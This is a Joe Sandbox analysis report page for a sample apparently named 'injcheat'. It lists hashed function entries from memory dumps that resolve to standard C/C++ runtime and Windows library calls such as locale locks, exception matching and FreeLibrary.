Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1412ddb3f0e7ce954e8d39e5b9dd2098607d7250c987ec70bec0dadb0025893
Instruction ID: 678c9247cfcacf364b12b52553cc5002393382ab4618943eaacc4e1c9f5f3158
Opcode Fuzzy Hash: d1412ddb3f0e7ce954e8d39e5b9dd2098607d7250c987ec70bec0dadb0025893
Instruction Fuzzy Hash: 68C08C74010D2087CE298D24A2713A43364FBD1782F80058CC4538B743C91E9CC2DA02

Function 0084D91C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1ade6ef58d6580d8cbff1d8d081264510f391430feb37eef4a632f827e8cdbb
Instruction ID: 3ede2a27523f0530dcd3686fdd7d4c49cf8a81fff1ded6d17b6c402a931c5a8c
Opcode Fuzzy Hash: e1ade6ef58d6580d8cbff1d8d081264510f391430feb37eef4a632f827e8cdbb
Instruction Fuzzy Hash: 83C09B38B58108CBC344DF45E892432A7F8931720C710303F8743F7262CD20D419950D

Function 00881F74 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda25dfc225e456b4df2f38464500c90323af58adcbdfe6e488d54600b94eb62
Instruction ID: c5e0df44cce69b9a57fe5b67c61439a20d4bd21d6d8e9e599e33711a31fb0427
Opcode Fuzzy Hash: eda25dfc225e456b4df2f38464500c90323af58adcbdfe6e488d54600b94eb62
Instruction Fuzzy Hash: E0C04C3465C204869608CE049951875E26B9A9765A714B129C90663257D534E512951D

Function 00881EB6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7e2c6ed00036b488e97d7b66a9e7c4df7905aef658a94aa0b4bf4ae83390246
Instruction ID: 5d07e073f59bc1d9ab006b13b9bdb4d2a63cac6ada5626c8abf9decc6d651ca6
Opcode Fuzzy Hash: e7e2c6ed00036b488e97d7b66a9e7c4df7905aef658a94aa0b4bf4ae83390246
Instruction Fuzzy Hash: 24C09224B682008BA24CCF18DD51935F2BB9B8BA9BB14B03DC906A3257E134E522860C

Function 00844FB8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2933151f0ac7f075621f0545018cb448e1da5df1c2a72fb1f6ef91afbd1dabd
Instruction ID: 90f083a07c24874d7646f44137cd52b4f4485f2d8af233f17395c09b59a772d3
Opcode Fuzzy Hash: a2933151f0ac7f075621f0545018cb448e1da5df1c2a72fb1f6ef91afbd1dabd
Instruction Fuzzy Hash: 53C04878908204CAC724CF2AC040AB9F3F5BB4F201F00A01AECA8A3240D638D800DF29

Function 00866B50 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f0846c5d1b29fa8c7eb75566415611b062c9094183590c26b2b47b45be6fc4b
Instruction ID: bb9825d44238991dd192075755b19327866138ce72804a29b080075e6f376ac3
Opcode Fuzzy Hash: 1f0846c5d1b29fa8c7eb75566415611b062c9094183590c26b2b47b45be6fc4b
Instruction Fuzzy Hash: CCB012309082408BD204CF04C450530F374D747109F003418D10AB3152C220E844C60C

Function 00851851 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2b20021a969b34ebd9379bf9b485349b18f198d0552b071d404ad5cd0f597e
Instruction ID: f1c0c38a0b7feefcd14a7992d526c0f8ddc67da51ba104f186919c48afb70220
Opcode Fuzzy Hash: 8c2b20021a969b34ebd9379bf9b485349b18f198d0552b071d404ad5cd0f597e
Instruction Fuzzy Hash: CAB012B1C9C215CBC3008F10C40D1B0F335EE0B202F8071A5850527405C7328003CB0C

Function 00864C23 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b00ae002dc55fb4e625dd24f5a9641755cf84b69f0189ba72e1364eef460e8
Instruction ID: 6fa0a1bee6cd81a0e7ee55e180bb11495692cb872df1a59e9b59285b5741de68
Opcode Fuzzy Hash: 05b00ae002dc55fb4e625dd24f5a9641755cf84b69f0189ba72e1364eef460e8
Instruction Fuzzy Hash: 4CA00138A883028B8209CE14E690875F3B8A74F602F103954E949B3216C620E8048A2E

Function 0081A328 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0081A447
___TypeMatch.LIBVCRUNTIME ref: 0081A555
CallUnexpected.LIBVCRUNTIME ref: 0081A6C2

Strings

csm, xrefs: 0081A365
csm, xrefs: 0081A47E
csm, xrefs: 0081A3D2

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 2edf513fe43ff48ce4c2fcfa74a9db9b86b5d31d80555ca8e7db5a3433cff419
Instruction ID: 0f64b1e968a5edcd7921cddfc879f534a2dc544075bb99864fe586cbf32ef234
Opcode Fuzzy Hash: 2edf513fe43ff48ce4c2fcfa74a9db9b86b5d31d80555ca8e7db5a3433cff419
Instruction Fuzzy Hash: 8BB16871802209EFCF19DFA8D9819EEBBB9FF14310F184159E815AB212D771DE91CB92

Function 00825CA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,D26763E0,?,00825DB5,0081C1A6,?,F8250000,00000000), ref: 00825D69

Strings

api-ms-, xrefs: 00825CFF
ext-ms-, xrefs: 00825D13

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 7b96ece6658cb8a080b3221997cfcd948965fdd21394a3d6e19a53ecd4628e32
Instruction ID: 323ff1f7df19694431beaf6b271dcaa9a0e011c466e419c54a4ec272eca239d7
Opcode Fuzzy Hash: 7b96ece6658cb8a080b3221997cfcd948965fdd21394a3d6e19a53ecd4628e32
Instruction Fuzzy Hash: 9E210635A41A35BBDB229B64FC48A5A3758FB81774F250530F916EB2A1E734EE40CAD0

Function 0082F0B4 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45287d1221d23290d33b3ebf9bc2774d8df070a774226bd05854bdb8ba55c69
Instruction ID: 47a280ae46795ba3bc052b52e208736af85166e25ea5523a34d1c0980cb8c4f5
Opcode Fuzzy Hash: e45287d1221d23290d33b3ebf9bc2774d8df070a774226bd05854bdb8ba55c69
Instruction Fuzzy Hash: FDB1DF70A04269AFDB01DF98E894BAEBBB5FF45314F144179E604EB392C7709982CB61

Function 00815104 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081510B
std::_Lockit::_Lockit.LIBCPMT ref: 00815115
int.LIBCPMT ref: 0081512C

Part of subcall function 008116B4: std::_Lockit::_Lockit.LIBCPMT ref: 008116C5
Part of subcall function 008116B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008116DF

std::_Facet_Register.LIBCPMT ref: 00815166
std::_Lockit::~_Lockit.LIBCPMT ref: 00815186
Concurrency::cancel_current_task.LIBCPMT ref: 00815193

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 56ce4b0b8a00728c7667720837e48b08c5fc75286c48f4faec63a7d94bc6a004
Instruction ID: 895624cba4dcdd0b611e82024f00291e204e961e2b184b6cde83db0c7e82fd3f
Opcode Fuzzy Hash: 56ce4b0b8a00728c7667720837e48b08c5fc75286c48f4faec63a7d94bc6a004
Instruction Fuzzy Hash: B711A272900615ABCB15EF68D8057ED77A9FF84720F590509F501E7291DFB09A81CB82

Function 00819FBA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00819FB1,008186D8,0081785F), ref: 00819FC8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00819FD6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00819FEF
SetLastError.KERNEL32(00000000,00819FB1,008186D8,0081785F), ref: 0081A041

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c2e5c208258bb37d285f23341348c58bff55919cde3d1ad2d3fa351977fb1f2b
Instruction ID: 4b438f47764b9678898af7f140fc431b3728b4c3d1bc7459bd7494f3bf4c5ba1
Opcode Fuzzy Hash: c2e5c208258bb37d285f23341348c58bff55919cde3d1ad2d3fa351977fb1f2b
Instruction Fuzzy Hash: BC01B57210EB11FDA62C267DBCA57D63A4DFF45B78320022AF110D50E1EF518C859642

Function 00820CB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D26763E0,?,?,00000000,00831D18,000000FF,?,00820C40,00820D70,?,00820C14,00000000), ref: 00820CE5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00820CF7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00831D18,000000FF,?,00820C40,00820D70,?,00820C14,00000000), ref: 00820D19

Strings

mscoree.dll, xrefs: 00820CDE
CorExitProcess, xrefs: 00820CEF

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 76e5f2afc81e87b2398f560e209bd07a21852e3cd88ff1ac2050b4fe3288114f
Instruction ID: b7caf705ce8c38d051038451646fbecc97c76ae0f8bb0e7621432889a3112d7e
Opcode Fuzzy Hash: 76e5f2afc81e87b2398f560e209bd07a21852e3cd88ff1ac2050b4fe3288114f
Instruction Fuzzy Hash: 65018B31504A69EFDB159F54DC09BAEBBB9FB44B15F000A25F811F2291DB79A904CF90

Function 00814189 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00814195
int.LIBCPMT ref: 008141A8

Part of subcall function 008116B4: std::_Lockit::_Lockit.LIBCPMT ref: 008116C5
Part of subcall function 008116B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008116DF

std::_Facet_Register.LIBCPMT ref: 008141DB
std::_Lockit::~_Lockit.LIBCPMT ref: 008141F1
Concurrency::cancel_current_task.LIBCPMT ref: 008141FC

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 23fd9a00ea0308ab36035a57247d7481e70bf4b23ee5b0ab8f3b9c58ed24c72d
Instruction ID: ef8de5a2bda93ff9aa89ee67b883f188a6402e09609105333eadbf530033b380
Opcode Fuzzy Hash: 23fd9a00ea0308ab36035a57247d7481e70bf4b23ee5b0ab8f3b9c58ed24c72d
Instruction Fuzzy Hash: 1901F776500224BBCF15EB58D8098DD776CFF50760B250159F911E7290EB309EC1C795

Function 00813B04 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00813B10
int.LIBCPMT ref: 00813B23

Part of subcall function 008116B4: std::_Lockit::_Lockit.LIBCPMT ref: 008116C5
Part of subcall function 008116B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008116DF

std::_Facet_Register.LIBCPMT ref: 00813B56
std::_Lockit::~_Lockit.LIBCPMT ref: 00813B6C
Concurrency::cancel_current_task.LIBCPMT ref: 00813B77

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0acb0fb5ec76e2b7348d3044567f1ee11f83823b61440fff1234334d8fd4140b
Instruction ID: ec108ad46a01e9a280792f2fcbb1f78b60b9d4a1bd8b56f8f31eb12146ac6061
Opcode Fuzzy Hash: 0acb0fb5ec76e2b7348d3044567f1ee11f83823b61440fff1234334d8fd4140b
Instruction Fuzzy Hash: E501A272A00124ABCF14BB68D80A9EDB7ACFF80360B254159F916DB291FF319F81C785

Function 0081405B Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00814068
int.LIBCPMT ref: 0081407B

Part of subcall function 008116B4: std::_Lockit::_Lockit.LIBCPMT ref: 008116C5
Part of subcall function 008116B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008116DF

std::_Facet_Register.LIBCPMT ref: 008140AE
std::_Lockit::~_Lockit.LIBCPMT ref: 008140C4
Concurrency::cancel_current_task.LIBCPMT ref: 008140CF

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0271140bbde6d90114f180955174c72bb7976d6435adfe0ad606c3920565020b
Instruction ID: 6b3e52fd09b1931ffc1c3dc703d8bd353540edde46fcfb1a4eabe9c03ec356e6
Opcode Fuzzy Hash: 0271140bbde6d90114f180955174c72bb7976d6435adfe0ad606c3920565020b
Instruction Fuzzy Hash: 2A01F272900524ABCF14BB68E8058DD7B6CFF84360B240549FA02DB391EB309EC2C785

Function 00814DCD Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00814DD4
std::_Lockit::_Lockit.LIBCPMT ref: 00814DDF
std::locale::_Setgloballocale.LIBCPMT ref: 00814DFA
_Yarn.LIBCPMT ref: 00814E10
std::_Lockit::~_Lockit.LIBCPMT ref: 00814E4D

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: bfeae0a7010d7cf4d20ef13a9377402c28e5d6254872a0f8e0bb22313126c826
Instruction ID: 5991c4ddc545ad90f3652dd86ad3913953b3eb7fb8720f8a5423ed224123ffaa
Opcode Fuzzy Hash: bfeae0a7010d7cf4d20ef13a9377402c28e5d6254872a0f8e0bb22313126c826
Instruction Fuzzy Hash: A801DF71A011209FCB06EF24E8119BD7B6AFF84750B194009E906D7382DF38AE92CBC2

Function 0081B102 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

